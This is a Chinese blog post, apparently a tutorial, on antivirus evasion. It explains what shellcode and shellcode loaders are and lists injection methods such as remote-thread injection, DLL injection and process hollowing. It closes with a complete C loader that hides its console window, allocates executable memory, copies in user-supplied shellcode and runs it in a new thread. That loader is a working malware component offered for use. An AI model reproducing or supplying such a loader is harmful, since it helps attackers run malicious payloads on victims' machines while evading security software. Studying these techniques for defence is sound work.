首页 > 系统相关 >免杀0到1之ShellCode与加载器

免杀0到1之ShellCode与加载器

时间:2024-12-26 23:28:06浏览次数:8  
标签:执行 免杀 ShellCode 目标 进程 NULL shellcode 加载

ShellCode

本质:一段可以自主运行的代码。

介绍:

  • ShellCode没有任何文件结构,不依赖任何编译环境,无法像exe一样双击运行。
  • 需要通过控制程序流程跳转到shellcode地址加载上去执行shellcode。

加载器

介绍:一种将 shellcode 加载到目标进程内存中并执行的程序。

  • 它可以是独立的程序,也可以作为恶意软件的一部分。

两者之间的关系:

  • 加载器是 shellcode 的载体: 加载器负责将 shellcode 加载到内存中并执行。

  • shellcode 是加载器的有效载荷: shellcode 是加载器要执行的代码,它实现了恶意行为。

  • shellcode代码(恶意程序执行代码) + 加载代码(加载代码执行的代码)

    二者相加 ---> 编译后 ---> exe文件

加载器的作用:

  1. 寻找目标进程: 加载器首先要找到一个合适的目标进程来加载 shellcode。
  2. 注入 shellcode: 加载器需要将 shellcode 注入到目标进程的内存空间中。
  3. 执行 shellcode: 加载器需要调用合适的 API 函数来执行 shellcode。

加载器的类型:

  1. 直接注入: 通过创建远程线程来执行 shellcode,例如使用 CreateRemoteThread​ 函数。
  2. DLL 注入: 将 shellcode 嵌入 DLL 文件,然后加载到目标进程中。
  3. 进程替换: 替换目标进程的执行代码,使目标进程运行 shellcode。

常见的加载器技术:

  • 进程空洞攻击: 利用目标进程的内存漏洞,将 shellcode 注入到目标进程的内存空间。
  • 反射式 DLL 注入: 利用反射机制,将 shellcode 嵌入 DLL 文件,然后加载到目标进程中。
  • ROP 攻击: 利用目标程序的函数调用链,执行 shellcode。
C语言加载器
#include <stdio.h> // Windows API 和 一些常量 
#include <windows.h> //标准输入输出库的头文件
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口

unsigned char buf[] = "填自己的shellcode";

int main() {
    //1.申请内存
    LPVOID address = VirtualAlloc(NULL, sizeof(buf), 0x1000 | 0x2000, 0x40);

    //2.复制shellcode到创建的内存中
    memcpy(address, buf, sizeof(buf));

    //3.创建线程运行shellcode
    LPTHREAD_START_ROUTINE xc = CreateThread(
        NULL,
        NULL,
        (LPTHREAD_START_ROUTINE)address,
        NULL,
        NULL,
        NULL
    );

    //等待线程运行结束
    WaitForSingleObject(xc, -1);

    //关闭线程
    CloseHandle(xc);

    return 0;
}

标签:执行,免杀,ShellCode,目标,进程,NULL,shellcode,加载
From: https://blog.csdn.net/qq_37107430/article/details/144755137

相关文章

  • ArkWeb页面拦截与自定义响应 - 控制加载过程
    ArkWeb页面拦截与自定义响应-控制加载过程简介在Web应用开发中,有时我们需要对页面加载过程进行更精细的控制,比如拦截特定的请求并返回自定义的响应内容。ArkWeb框架提供了这样的能力,允许开发者拦截页面和资源加载请求,并自定义响应。本文将详细介绍如何使用ArkWeb框架实现这些......
  • Next.js 14 性能优化:从首屏加载到运行时优化的最佳实践
    在现代Web应用中,性能优化直接影响用户体验和业务转化。Next.js14提供了多种内置的性能优化特性,今天我们就来深入探讨如何充分利用这些特性,以及一些实用的优化技巧。图片和字体优化1.图片优化Next.js的Image组件供了强大的图片优化功能://components/OptimizedIm......
  • Vue.js组件开发-图片加载失败自动显示默认图片
    在Vue.js组件开发中,处理图片加载失败并自动显示默认图片可以通过Vue的指令和事件绑定来实现这一功能。示例:展示如何在图片加载失败时自动显示默认图片:<template><div><!--使用:src绑定图片的URL,并使用@error事件处理加载失败--><img:src="imageSrc......
  • HarmonyOs DevEco studio小技巧39--LazyForEach:性能优化与懒加载
    在鸿蒙系统的应用开发中,LazyForEach是一个极为重要的工具,它在处理列表数据展示等场景时展现出独特的性能优化和懒加载特性,为应用开发带来诸多显著优势。一、LazyForEach在鸿蒙中的优势(一)高效的内存管理在处理大量数据时,传统的组件渲染方式可能会一次性创建所有数据对应的......
  • 首次访问网站加载失败但刷新后可正常显示的原因及解决方案
    首次访问网站时页面加载失败但在刷新后能够正常显示的现象确实令人困惑。这种现象背后可能存在多个潜在因素,下面我们将详细介绍一些常见原因及其对应的解决办法,帮助您更好地理解和处理此类问题。浏览器缓存与DNS解析问题:浏览器缓存和DNS解析是影响首次加载速度的关键环节。当......
  • WMIHACKER:免杀横向移动命令执行测试工具
    免责声明由于传播、利用此工具提供的功能而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本人不为此承担任何责任项目介绍免杀横向渗透远程命令执行,常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令,这些方式都已经被杀软100%拦截,通过改......
  • 探索Gutenberg电子书加载器:轻松加载和处理免费电子书
    #探索Gutenberg电子书加载器:轻松加载和处理免费电子书##引言ProjectGutenberg是一个在线免费电子书库,拥有数以万计的电子书资源。随着AI和自然语言处理技术的发展,如何有效地加载和处理这些电子书数据变得尤为重要。在这篇文章中,我们将讨论如何使用`GutenbergLoader`......
  • 如何使用WikipediaLoader加载维基百科页面数据
    老铁们,今天咱们来聊聊如何使用WikipediaLoader从wikipedia.org加载页面内容到可供下游使用的Document格式。这个操作对于需要从维基百科中提取信息的项目相当实用,说白了就是让我们可以快速获取并处理文本内容。技术背景介绍Wikipedia是一个多语言的免费在线百科全书,由一......
  • 预加载脚本
    什么是预加载脚本?Electron的主进程是一个拥有着完全操作系统访问权限的Node.js环境,另一方面,出于安全原因,渲染进程默认跑在网页页面上,而并非Node.js里。为了将Electron的不同类型的进程桥接在一起,我们需要使用被称为预加载的特殊脚本。使用预加载脚本来增强渲染器Br......
  • Android13下拉状态栏QS面板的加载流程解析
    1、QS创建QSPanel创建是从CentralSurfacesImpl#makeStatusBarView开始的,Qs面板创建这块,与之前版本对比,没啥变化。com.android.systemui.statusbar.phone.CentralSurfacesImpl.javaprotectedvoidmakeStatusBarView(){......//设置快速设置面板......